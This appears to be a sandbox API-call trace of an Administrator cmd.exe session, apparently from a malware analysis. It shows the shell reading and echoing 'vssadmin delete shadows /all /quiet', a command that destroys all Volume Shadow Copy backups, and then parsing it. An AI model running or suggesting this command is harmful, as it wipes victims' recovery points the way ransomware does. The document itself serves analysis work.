	[0069.689] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.690] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.690] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c4e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0069.690] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.690] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.690] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.690] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c50, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0069.690] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.690] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.690] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.690] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c52, cchWideChar=1 | out: lpWideCharStr="h") returned 1
	[0069.690] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.690] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.690] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.690] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c54, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0069.690] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.690] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.690] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.690] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c56, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0069.690] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.690] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.690] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.690] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c58, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0069.690] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.690] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.691] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.691] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c5a, cchWideChar=1 | out: lpWideCharStr="w") returned 1
	[0069.691] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.691] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.691] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.691] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c5c, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0069.691] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.691] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.691] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.691] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0069.691] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.691] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.691] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.691] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0069.691] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.691] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.691] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.691] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0069.691] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.691] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.691] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.691] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0069.692] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.692] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.692] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.692] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0069.692] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.692] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.692] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.692] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0069.692] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.692] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.692] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.692] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0069.692] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.692] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.692] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1
	[0069.693] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.693] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.693] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1
	[0069.693] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.693] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.696] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0069.696] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.696] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.696] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0069.696] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.696] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.696] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0069.696] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.696] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.696] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7acb59970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe8be8ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesRead=0xe8be8ffbc8*=0x1, lpOverlapped=0x0) returned 1
	[0069.696] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=1, lpWideCharStr=0x7ff7acb63c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0069.697] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.697] GetFileType (hFile=0x27c) returned 0x3
	[0069.697] _get_osfhandle (_FileHandle=0) returned 0x27c
	[0069.697] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0069.697] _get_osfhandle (_FileHandle=1) returned 0x288
	[0069.697] GetFileType (hFile=0x288) returned 0x3
	[0069.697] _get_osfhandle (_FileHandle=1) returned 0x288
	[0069.697] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff7acb59970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37
	[0069.697] WriteFile (in: hFile=0x288, lpBuffer=0x7ff7acb59970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xe8be8ffb68, lpOverlapped=0x0 | out: lpBuffer=0x7ff7acb59970*, lpNumberOfBytesWritten=0xe8be8ffb68*=0x24, lpOverlapped=0x0) returned 1
	[0069.697] GetProcessHeap () returned 0x256c8cc0000
	[0069.697] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x4012) returned 0x256c8cc8fe0
	[0069.697] GetProcessHeap () returned 0x256c8cc0000
	[0069.697] RtlFreeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, BaseAddress=0x256c8cc8fe0) returned 1
	[0069.698] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0069.698] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0069.698] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0069.698] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0069.698] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0069.698] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0069.698] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0069.698] GetProcessHeap () returned 0x256c8cc0000
	[0069.698] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0xb0) returned 0x256c8cc8320
	[0069.698] GetProcessHeap () returned 0x256c8cc0000
	[0069.698] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x22) returned 0x256c8cc6a80
	[0069.699] GetProcessHeap () returned 0x256c8cc0000
	[0069.699] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x48) returned 0x256c8cc1850
	[0069.700] GetConsoleOutputCP () returned 0x1b5
	[0070.060] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7acb5fbb0 | out: lpCPInfo=0x7ff7acb5fbb0) returned 1
	[0070.060] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0070.067] GetConsoleTitleW (in: lpConsoleTitle=0xe8be8ff9b0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0070.102] malloc (_Size=0xffce) returned 0x256c8de0840
	[0070.102] ??_V@YAXPEAX@Z () returned 0x256c8de0840
	[0070.103] malloc (_Size=0xffce) returned 0x256c8df0820
	[0070.103] ??_V@YAXPEAX@Z () returned 0x256c8df0820
	[0070.104] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0070.104] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0070.104] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0070.104] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0070.104] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0070.104] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0070.105] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0070.106] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0070.106] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0070.106] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0070.106] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0070.106] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0070.106] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0070.106] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0070.106] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0070.106] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0070.106] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0070.106] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0070.106] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0070.106] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0070.106] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0070.106] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0070.106] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0070.106] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0070.106] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0070.106] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0070.107] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0070.108] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0070.109] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0070.109] ??_V@YAXPEAX@Z () returned 0x1
	[0070.109] GetProcessHeap () returned 0x256c8cc0000
	[0070.109] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0xffde) returned 0x256c8cc8fe0
	[0070.110] GetProcessHeap () returned 0x256c8cc0000
	[0070.110] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x5a) returned 0x256c8cc83e0
	[0070.110] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0070.110] malloc (_Size=0xffce) returned 0x256c8df0820
	[0070.110] ??_V@YAXPEAX@Z () returned 0x256c8df0820
	[0070.110] GetProcessHeap () returned 0x256c8cc0000
	[0070.110] RtlAllocateHeap (HeapHandle=0x256c8cc0000, Flags=0x8, Size=0x1ffac) returned 0x256c8cd8fd0
	[0070.112] SetErrorMode (uMode=0x0) returned 0x0
	[0070.112] SetErrorMode (uMode=0x1) returned 0x0
	[0070.113] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x256c8cd8fe0, lpFilePart=0xe8be8ff230 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xe8be8ff230*="Desktop") returned 0x17
	[0070.113] SetErrorMode (uMode=0x0) returned 0x1
	[0070.113] GetProcessHeap () returned 0x256c8cc0000
	[0070.113] RtlReAllocateHeap (Heap=0x256c8cc0000, Flags=0x0, Ptr=0x256c8cd8fd0, Size=0x52) returned 0x256c8cd8fd0
	[0070.113] GetProcessHeap () returned 0x256c8cc0000
	[0070.113] RtlSizeHeap (HeapHandle=0x256c8cc0000, Flags=0x0, MemoryPointer=0x256c8cd8fd0) returned 0x52
	[0070.113] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7acb5bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0070.113] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0070.113] GetProcessHeap () returned 0x256c8cc0000
